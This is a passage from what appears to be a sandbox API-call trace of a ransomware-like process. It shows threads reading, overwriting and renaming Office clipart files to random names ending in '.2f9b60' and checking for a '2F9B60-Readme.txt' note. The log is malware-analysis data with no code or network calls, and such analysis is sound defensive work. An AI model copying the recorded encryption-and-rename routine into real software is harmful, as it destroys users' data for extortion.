(in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x63dfe51 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x6df636df [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x1fe67e84 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x4a9fcc92 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x69bc6692 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x57cab39b [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x5d678a37 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x40c39d75 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x33fef72a [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x2354f3f9 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x7f39d519 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0xb5c1161 [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x31054781 [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x17f4e332 [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x42e6ef9d [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x6edc11b0 [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x4b04ba43 [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x79a7dab [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x72784780 [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x53b19664 [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x6ab83c1d [0107.805] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x3b3d1ad5 [0107.817] ReadFile (in: hFile=0xe00, lpBuffer=0x41e62d00, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x2c71f850, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesRead=0x2c71f850*=0xc9c, lpOverlapped=0x0) returned 1 [0107.817] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.817] WriteFile (in: hFile=0xe00, lpBuffer=0x41e66910*, nNumberOfBytesToWrite=0xc9c, lpNumberOfBytesWritten=0x2c71f854, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesWritten=0x2c71f854*=0xc9c, lpOverlapped=0x0) returned 1 [0107.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860120 [0107.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0107.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604b0) returned 1 [0107.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e66910) returned 1 [0107.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0107.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8604b0 [0107.829] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.829] WriteFile (in: hFile=0xe00, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c71f970, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2c71f970*=0x10a, lpOverlapped=0x0) returned 1 [0107.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0107.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0107.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601b0) returned 1 [0107.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0107.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0107.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860390) returned 1 [0107.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.860] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="3b") returned 2 [0107.860] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="02") returned 2 [0107.860] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="8b") returned 2 [0107.860] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="3a") returned 2 [0107.860] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="f8") returned 2 [0107.860] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="14") returned 2 [0107.860] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="37") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="d4") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="9e") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="92") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="48") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="b2") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="52") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="79") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="15") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="59") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="39") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="95") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="0a") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="36") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="19") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="2d") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="3f") returned 2 [0107.861] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="d2") returned 2 [0107.861] RtlInitAnsiString (in: DestinationString=0x2c71f9e8, SourceString="3b028b3af81437d49e9248b25279155939950a36192d3fd2" | out: DestinationString="3b028b3af81437d49e9248b25279155939950a36192d3fd2") [0107.861] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c71f9b8, SourceString="3b028b3af81437d49e9248b25279155939950a36192d3fd2", AllocateDestinationString=1 | out: DestinationString="3b028b3af81437d49e9248b25279155939950a36192d3fd2") returned 0x0 [0107.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86ef00 [0107.862] wcscat (in: _Dest=0x204ff870, _Source="3b028b3af814" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3b028b3af814") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3b028b3af814" [0107.862] wcscat (in: _Dest=0x204ff870, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3b028b3af814.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3b028b3af814.2f9b60" [0107.862] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3b028b3af814.2f9b60", NtPathName=0x2c71f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3b028b3af814.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107900 [0107.862] NtSetInformationFile (FileHandle=0xe00, IoStatusBlock=0x2c71fa30, FileInformation=0x107900, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 [0109.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ea40) returned 1 [0109.928] NtQueryInformationFile (in: FileHandle=0xe00, IoStatusBlock=0x2c71f9f8, FileInformation=0x2c71fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c71f9f8, FileInformation=0x2c71fa08) returned 0x0 [0109.928] NtSetInformationFile (FileHandle=0xe00, IoStatusBlock=0x2c71f9f8, FileInformation=0x2c71fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff870) returned 1 [0109.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef00) returned 1 [0109.940] FlushFileBuffers (hFile=0xe00) returned 1 [0109.946] CloseHandle (hObject=0xe00) returned 1 [0109.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ff870 [0109.948] wcscpy (in: _Dest=0x204ff870, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.948] wcscat (in: _Dest=0x204ff870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff870) returned 1 [0109.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c100) returned 1 Thread: id = 707 os_tid = 0x11f0 [0096.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0107.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", dwFileAttributes=0x20) returned 1 [0107.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe24 [0107.768] GetFileSizeEx (in: hFile=0xe24, lpFileSize=0x2c2afe00 | out: lpFileSize=0x2c2afe00*=4808) returned 1 [0107.768] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x12c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.768] ReadFile (in: hFile=0xe24, lpBuffer=0x2c2afd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c2afdc8, lpOverlapped=0x0 | out: lpBuffer=0x2c2afd80*, lpNumberOfBytesRead=0x2c2afdc8*=0x4, lpOverlapped=0x0) returned 1 [0107.779] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0107.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0107.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0107.779] NtQuerySystemTime (in: CurrentTime=0x2c2afcc0 | out: CurrentTime=0x2c2afcc0*=132462177132634000) returned 0x0 [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x43104057 [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x3389d9b [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x5a9901ba [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x2d32c1fb [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x609172c1 [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x40e8d6bc [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x390deb81 [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x22416817 [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x3386c6f0 [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x3fbabc8a [0107.779] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x5a00b096 [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x1f87107b [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x753aa1af [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x5bca4570 [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x1356f8ec [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x30d7c6cc [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x3331a2cb [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x72c7a79a [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x68c54e0d [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x48db799c [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x46ec4676 [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x767c629d [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x342e23fa [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x7ebe2ab2 [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x1fdfd428 [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x4880d719 [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x4b55448d [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x517dfe7b [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x7c693d91 [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x2da8919a [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x770a82e [0107.780] RtlRandomEx (in: Seed=0x2c2afcb0 | out: Seed=0x2c2afcb0) returned 0x7c0268a0 [0107.792] ReadFile (in: hFile=0xe24, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x2c2afcb0, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x2c2afcb0*=0x12c8, lpOverlapped=0x0) returned 1 [0107.819] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.819] WriteFile (in: hFile=0xe24, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x12c8, lpNumberOfBytesWritten=0x2c2afcb4, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x2c2afcb4*=0x12c8, lpOverlapped=0x0) returned 1 [0107.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0107.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0107.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0107.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0107.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0107.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0107.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fc10 [0107.830] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.830] WriteFile (in: hFile=0xe24, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c2afdd0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2c2afdd0*=0x10a, lpOverlapped=0x0) returned 1 [0107.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0107.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0107.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0107.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0107.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602a0 [0107.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8602a0) returned 1 [0107.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.864] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="3e") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="ee") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="3c") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="6d") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="88") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="d6") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="75") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="6f") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="e3") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="95") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="a4") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="19") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="31") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="be") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="d1") returned 2 [0107.864] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="b6") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="9d") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="cb") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="3b") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="c5") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="e1") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="48") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="f3") returned 2 [0107.865] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="49") returned 2 [0107.865] RtlInitAnsiString (in: DestinationString=0x2c2afe48, SourceString="3eee3c6d88d6756fe395a41931bed1b69dcb3bc5e148f349" | out: DestinationString="3eee3c6d88d6756fe395a41931bed1b69dcb3bc5e148f349") [0107.865] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c2afe18, SourceString="3eee3c6d88d6756fe395a41931bed1b69dcb3bc5e148f349", AllocateDestinationString=1 | out: DestinationString="3eee3c6d88d6756fe395a41931bed1b69dcb3bc5e148f349") returned 0x0 [0107.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eaa0 [0107.865] wcscat (in: _Dest=0x204ff690, _Source="3eee3c6d88d6" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3eee3c6d88d6") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3eee3c6d88d6" [0107.865] wcscat (in: _Dest=0x204ff690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3eee3c6d88d6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3eee3c6d88d6.2f9b60" [0107.865] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3eee3c6d88d6.2f9b60", NtPathName=0x2c2afdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3eee3c6d88d6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1073c0 [0107.866] NtSetInformationFile (FileHandle=0xe24, IoStatusBlock=0x2c2afe90, FileInformation=0x1073c0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0109.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f300) returned 1 [0109.942] NtQueryInformationFile (in: FileHandle=0xe24, IoStatusBlock=0x2c2afe58, FileInformation=0x2c2afe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c2afe58, FileInformation=0x2c2afe68) returned 0x0 [0109.942] NtSetInformationFile (FileHandle=0xe24, IoStatusBlock=0x2c2afe58, FileInformation=0x2c2afe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff690) returned 1 [0109.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eaa0) returned 1 [0109.957] FlushFileBuffers (hFile=0xe24) returned 1 [0109.965] CloseHandle (hObject=0xe24) returned 1 [0109.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500270 [0109.967] wcscpy (in: _Dest=0x20500270, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.967] wcscat (in: _Dest=0x20500270, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500270) returned 1 [0109.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c190) returned 1 Thread: id = 708 os_tid = 0x11f4 [0096.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0107.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", dwFileAttributes=0x20) returned 1 [0107.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe64 [0107.751] GetFileSizeEx (in: hFile=0xe64, lpFileSize=0x2c0dfe20 | out: lpFileSize=0x2c0dfe20*=4996) returned 1 [0107.751] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x1380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.752] ReadFile (in: hFile=0xe64, lpBuffer=0x2c0dfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c0dfde8, lpOverlapped=0x0 | out: lpBuffer=0x2c0dfda0*, lpNumberOfBytesRead=0x2c0dfde8*=0x4, lpOverlapped=0x0) returned 1 [0107.756] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.756] RtlAllocateHeap 